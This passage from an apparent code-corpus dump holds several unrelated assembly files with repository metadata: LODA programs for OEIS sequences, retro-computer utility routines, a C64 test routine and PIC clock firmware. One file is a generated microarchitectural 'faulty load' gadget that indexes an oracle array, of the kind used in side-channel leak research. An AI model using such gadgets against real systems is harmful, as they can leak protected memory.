58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
30.135036
2,999
0.650115
84f1aac5b1e26ef5c5686acc9e442664d4d630f7
601
asm
Assembly
oeis/166/A166150.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/166/A166150.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/166/A166150.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A166150: a(n) = 5n^2 + 5n - 9. ; Submitted by Christian Krause ; 1,21,51,91,141,201,271,351,441,541,651,771,901,1041,1191,1351,1521,1701,1891,2091,2301,2521,2751,2991,3241,3501,3771,4051,4341,4641,4951,5271,5601,5941,6291,6651,7021,7401,7791,8191,8601,9021,9451,9891,10341,10801,11271,11751,12241,12741,13251,13771,14301,14841,15391,15951,16521,17101,17691,18291,18901,19521,20151,20791,21441,22101,22771,23451,24141,24841,25551,26271,27001,27741,28491,29251,30021,30801,31591,32391,33201,34021,34851,35691,36541,37401,38271,39151,40041,40941,41851,42771,43701 add $0,2 bin $0,2 mul $0,10 sub $0,9
66.777778
497
0.77371
418822a8902aa70752284e763b47e673ec89b9b0
380
asm
Assembly
programs/oeis/138/A138019.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/138/A138019.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/138/A138019.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A138019: Period 5: repeat 1, 1, 0, -1, -1. ; 1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1,-1,1,1,0,-1 mod $0,5 mov $1,$0 add $1,$0 div $1,3 add $1,$0 sub $0,$1 mul $0,2 add $0,2 mov $1,$0 div $1,2
27.142857
238
0.457895
4bcdd6fbc1fbd80e4e9ae8891974d23987f5d75d
702
asm
Assembly
oeis/052/A052956.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/052/A052956.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/052/A052956.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A052956: a(n) = 2^n + Fibonacci(n+1). ; Submitted by Jamie Morken(s2) ; 2,3,6,11,21,40,77,149,290,567,1113,2192,4329,8569,16994,33755,67133,133656,266325,531053,1059522,2114863,4222961,8434976,16852241,33675825,67305282,134535539,268949685,537702952,1075088093,2149661957,4298491874,8595637479,17189096649,34374668720,68743634553,137478041641,274941152930,549858148043,1099677207917,2199291169848,4398480005541,8796794430941,17593320947586,35186208400735,70371715392737,140742295882304,281482755452705,562962539690337,1125920271853698,2251832764965347,4503652943661669 mov $1,2 pow $1,$0 add $0,1 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. add $1,$0 mov $0,$1
63.818182
498
0.794872
41db892d59dfee33f21faa48cecff4e18052dec3
449
asm
Assembly
src/util/oli/qdos/rrtc.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/util/oli/qdos/rrtc.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/util/oli/qdos/rrtc.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
; read current time and date from real time clock section utility include win1_mac_oli include win1_keys_qdos_sms xdef ut_rrtc ;+++ ; read current time and date from real time clock ; ; Entry Exit ; d1.l time in seconds ;--- ut_rrtc subr d2/a0 moveq #sms.rrtc,d0 trap #do.sms2 subend end
20.409091
63
0.489978
ff5efb119bf3f399e18f58890db6fd3d60fd5de1
1,803
asm
Assembly
tests/lorenz/common/showregs.asm
rheit/yam6502
6e999758d816020139a64a10ec0ca2304e81b959
[ "MIT" ]
null
null
null
tests/lorenz/common/showregs.asm
rheit/yam6502
6e999758d816020139a64a10ec0ca2304e81b959
[ "MIT" ]
null
null
null
tests/lorenz/common/showregs.asm
rheit/yam6502
6e999758d816020139a64a10ec0ca2304e81b959
[ "MIT" ]
null
null
null
; this file is part of the C64 Emulator Test Suite. public domain, no copyright ; x/y - pointer to register dump showregs .block stx 172 sty 173 ldy #0 lda (172),y jsr printhb lda #32 jsr cbmk_bsout lda #32 jsr cbmk_bsout iny lda (172),y jsr printhb lda #32 jsr cbmk_bsout iny lda (172),y jsr printhb lda #32 jsr cbmk_bsout iny lda (172),y jsr printhb lda #32 jsr cbmk_bsout iny lda (172),y ldx #"n" asl a bcc ok7 ldx #"N" ok7 pha txa jsr cbmk_bsout pla ldx #"v" asl a bcc ok6 ldx #"V" ok6 pha txa jsr cbmk_bsout pla ldx #"0" asl a bcc ok5 ldx #"1" ok5 pha txa jsr cbmk_bsout pla ldx #"b" asl a bcc ok4 ldx #"B" ok4 pha txa jsr cbmk_bsout pla ldx #"d" asl a bcc ok3 ldx #"D" ok3 pha txa jsr cbmk_bsout pla ldx #"i" asl a bcc ok2 ldx #"I" ok2 pha txa jsr cbmk_bsout pla ldx #"z" asl a bcc ok1 ldx #"Z" ok1 pha txa jsr cbmk_bsout pla ldx #"c" asl a bcc ok0 ldx #"C" ok0 pha txa jsr cbmk_bsout pla lda #32 jsr cbmk_bsout iny lda (172),y jmp printhb .bend
17.504854
79
0.375485
1799695cd3f9dbb5b3a4422c10cddc229c59a95f
1,503
asm
Assembly
src/firmware/Platform/Clock/DaylightSavingsTime.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
1
2019-12-12T09:07:08.000Z
2019-12-12T09:07:08.000Z
src/firmware/Platform/Clock/DaylightSavingsTime.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
src/firmware/Platform/Clock/DaylightSavingsTime.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
#define __CLUCK2SESAME_PLATFORM_CLOCK_ASM #include "Platform.inc" #include "FarCalls.inc" #include "Flash.inc" #include "ArithmeticBcd.inc" #include "Clock.inc" radix decimal extern daylightSavingsTimeLookupTable EARLIEST_FIRST_DAYLIGHT_SAVINGS_DAY equ 83 EARLIEST_LAST_DAYLIGHT_SAVINGS_DAY equ low(296) Clock code global isDaylightSavingsTime isDaylightSavingsTime: .safelySetBankFor clockYearBcd movf clockYearBcd, W .setBankFor RAA movwf RAA fcall bcdToBinary lookupDaylightSavingsTimeExtentsForYear: .setBankFor EEADR movwf EEADR bcf STATUS, C rrf EEADR movlw low(daylightSavingsTimeLookupTable) addwf EEADR .setBankFor EEADRH movlw high(daylightSavingsTimeLookupTable) movwf EEADRH btfsc STATUS, C incf EEADRH fcall readFlashWordAsPairOfSevenBitBytes .setBankFor clockYearBcd btfsc clockYearBcd, 0 goto oddYear evenYear: goto checkDayOfYear oddYear: .knownBank clockYearBcd .setBankFor EEDAT movf EEDAT, W checkDayOfYear: .safelySetBankFor dayOfYearHigh movf dayOfYearHigh btfss STATUS, Z goto checkHighRangeForDayOfYear checkLowRangeForDayOfYear: .setBankFor RAA movwf RAA swapf RAA, W andlw b'00000111' addlw EARLIEST_FIRST_DAYLIGHT_SAVINGS_DAY .setBankFor dayOfYearLow subwf dayOfYearLow, W btfsc STATUS, C retlw 1 retlw 0 checkHighRangeForDayOfYear: .knownBank dayOfYearHigh andlw b'00000111' addlw EARLIEST_LAST_DAYLIGHT_SAVINGS_DAY + 1 .setBankFor dayOfYearLow subwf dayOfYearLow, W btfsc STATUS, C retlw 0 retlw 1 end
17.892857
47
0.817698
216694bc6a45115009c1289c6fe772fa3ac245c9
404
asm
Assembly
libsrc/enterprise/exos_read_block.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/enterprise/exos_read_block.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/enterprise/exos_read_block.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; Enterprise 64/128 specific routines ; by Stefano Bodrato, 2011 ; ; exos_read_block(unsigned char channel, unsigned int byte_count, unsigned char *address); ; ; ; $Id: exos_read_block.asm,v 1.2 2015/01/19 01:32:42 pauloscustodio Exp $ ; PUBLIC exos_read_block exos_read_block: pop af pop de pop bc pop hl push hl push bc push de push af ld a,l rst 30h defb 6 ld h,0 ld l,a ret
13.032258
90
0.705446
e9c196ab85100f7e560f48aabfcde182eda8f43e
401
asm
Assembly
data/pokemon/base_stats/caterpie.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/pokemon/base_stats/caterpie.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/pokemon/base_stats/caterpie.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
db DEX_CATERPIE ; pokedex id db 45, 30, 35, 45, 20 ; hp atk def spd spc db BUG, BUG ; type db 255 ; catch rate db 53 ; base exp INCBIN "gfx/pokemon/front/caterpie.pic", 0, 1 ; sprite dimensions dw CaterpiePicFront, CaterpiePicBack db TACKLE, STRING_SHOT, NO_MOVE, NO_MOVE ; level 1 learnset db GROWTH_MEDIUM_FAST ; growth rate ; tm/hm learnset tmhm ; end db 0 ; padding
19.095238
66
0.685786
5a32f004e3fac4d6e2880931c65a8091396e383a
674
asm
Assembly
oeis/117/A117868.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/117/A117868.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/117/A117868.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A117868: Number of palindromes (in base 9) below 9^n. ; Submitted by Jamie Morken(s4) ; 8,16,88,160,808,1456,7288,13120,65608,118096,590488,1062880,5314408,9565936,47829688,86093440,430467208,774840976,3874204888,6973568800,34867844008,62762119216,313810596088,564859072960,2824295364808,5083731656656,25418658283288,45753584909920,228767924549608,411782264189296,2058911320946488,3706040377703680,18530201888518408,33354363399333136,166771816996665688,300189270593998240,1500946352969991208,2701703435345984176,13508517176729920888,24315330918113857600,121576654590569288008 mov $1,3 pow $1,$0 mul $1,4 mov $2,-3 pow $2,$0 add $1,$2 mov $0,$1 sub $0,5 mul $0,2 add $0,8
44.933333
489
0.832344
647145d3d653d2da6cf4dad7c5d6a5d1c45e02b9
578
asm
Assembly
284x-101.asm
karcherm/scsi_edd
406005cbb172fb19671d0138016d189fac80857a
[ "MIT" ]
null
null
null
284x-101.asm
karcherm/scsi_edd
406005cbb172fb19671d0138016d189fac80857a
[ "MIT" ]
null
null
null
284x-101.asm
karcherm/scsi_edd
406005cbb172fb19671d0138016d189fac80857a
[ "MIT" ]
null
null
null
ResetLocalStateOfs = 0C80h SetTargetOfs = 0CB4h ExecuteCommandOfs = 0E6Bh SetDataAddressOfs = 0F29h Int13_DispatchOfs = 12B0h I13_DispatcherOfs = 1453h Func_UnsupportedOfs = 1483h Func09_AlwaysOKOfs = 1792h MyInt15Ofs = 18E8h MyInt15InstallOfs = 2BB0h ; Not really. This function is missing, but there ; is a lot of empty space in the 284x BIOS VersionOfs = 40A4h PATCH_VERSION MACRO ;db "/2842VL BIOS v1.01 " db " BIOS v1.01/EDD 1.0" ENDM INCLUDE aic7770.asm END
26.272727
79
0.638408
b2745b3730566a946f4789cc2c5fbe44ee7c7e48
7,999
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_943_492.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_943_492.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_943_492.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x3fe8, %r12 cmp $20278, %rdi mov $0x6162636465666768, %r15 movq %r15, %xmm1 vmovups %ymm1, (%r12) nop xor %r10, %r10 lea addresses_D_ht+0x68bc, %r15 nop nop nop nop nop inc %r14 movl $0x61626364, (%r15) nop nop nop nop and $61123, %rdi lea addresses_WC_ht+0x84e0, %r9 xor %r15, %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm5 movups %xmm5, (%r9) nop nop nop nop inc %rdi lea addresses_UC_ht+0x1c6e0, %r12 nop nop nop nop add $43163, %rsi movl $0x61626364, (%r12) nop nop nop inc %r15 lea addresses_D_ht+0xea40, %rsi lea addresses_normal_ht+0xac80, %rdi nop nop nop nop nop sub $48253, %r15 mov $102, %rcx rep movsq nop nop xor $19105, %r14 lea addresses_WT_ht+0x146c0, %r10 nop nop nop nop xor $10971, %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%r10) nop nop add %r9, %r9 lea addresses_WT_ht+0x13160, %r14 nop add %rcx, %rcx movb $0x61, (%r14) nop nop nop nop nop add %rdi, %rdi lea addresses_UC_ht+0x4368, %r9 nop and $52715, %r12 movb $0x61, (%r9) nop nop nop nop nop xor %rdi, %rdi lea addresses_D_ht+0x1e050, %rsi lea addresses_A_ht+0x2e0, %rdi nop mfence mov $109, %rcx rep movsw nop nop and $59805, %r10 lea addresses_WC_ht+0x1daa0, %rsi lea addresses_A_ht+0x14ef0, %rdi cmp %r15, %r15 mov $73, %rcx rep movsl nop nop nop nop add %r12, %r12 lea addresses_WT_ht+0x103e0, %r10 nop nop nop sub $31787, %rsi mov (%r10), %ecx nop cmp $23494, %r12 lea addresses_WC_ht+0x1d7f2, %r10 sub %r14, %r14 movups (%r10), %xmm5 vpextrq $1, %xmm5, %r9 sub %r14, %r14 lea addresses_UC_ht+0x9e0, %r14 nop nop nop nop nop and %r12, %r12 movw $0x6162, (%r14) nop and %r10, %r10 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %rax push %rbp push %rdi push %rsi // Store mov $0x21e5ce0000000a00, %r14 nop nop nop nop dec %rax movb $0x51, (%r14) nop nop nop inc %rdi // Load mov $0xe80ec00000004e0, %rsi nop nop nop xor $8963, %r8 mov (%rsi), %di nop nop nop nop add %rax, %rax // Store lea addresses_WC+0x7ae0, %rax nop nop nop sub $46410, %r8 mov $0x5152535455565758, %r14 movq %r14, (%rax) nop nop add $19573, %r12 // Store lea addresses_RW+0xed60, %rbp nop cmp $4941, %rsi mov $0x5152535455565758, %r14 movq %r14, (%rbp) and $8148, %rbp // Faulty Load lea addresses_WC+0x7ae0, %r14 nop and %rdi, %rdi movups (%r14), %xmm6 vpextrq $0, %xmm6, %rsi lea oracles, %r12 and $0xff, %rsi shlq $12, %rsi mov (%r12,%rsi,1), %rsi pop %rsi pop %rdi pop %rbp pop %rax pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'58': 943} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
31.868526
2,828
0.653457
c46809529a8e62a39acfeff0d01548cf01227e4f
213
asm
Assembly
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_set_int_state_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_set_int_state_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_set_int_state_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void z180_set_int_state_fastcall(uint state) SECTION code_clib SECTION code_z180 PUBLIC _z180_set_int_state_fastcall EXTERN asm_z180_set_int_state defc _z180_set_int_state_fastcall = asm_z180_set_int_state
17.75
58
0.882629
d931ebd9d4d10c06a2378676acb863bdce8e8df5
345
asm
Assembly
libsrc/fcntl/zxvgs/rename.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/zxvgs/rename.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/zxvgs/rename.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
;int rename(char *source, char *dest) ;returns 0 when OK ; ; $Id: rename.asm,v 1.3 2016/06/23 20:31:34 dom Exp $ ; SECTION code_clib PUBLIC rename PUBLIC _rename .rename ._rename POP BC POP HL ;new filename POP DE ;old PUSH DE PUSH HL PUSH BC RST 8 DEFB $CE ;also can move file to another path/disk... AND $7F LD L,A LD H,0 RET
13.8
53
0.678261
c1e554ed22a6bbebdfcae58e3679aadaff6446f8
938
asm
Assembly
src/news.asm
BlockoS/up-news
0f67eac47d36e5e71e403b22fb009633eec6d560
[ "BSD-3-Clause" ]
2
2017-03-18T21:38:08.000Z
2017-03-20T18:48:56.000Z
src/news.asm
BlockoS/up-news
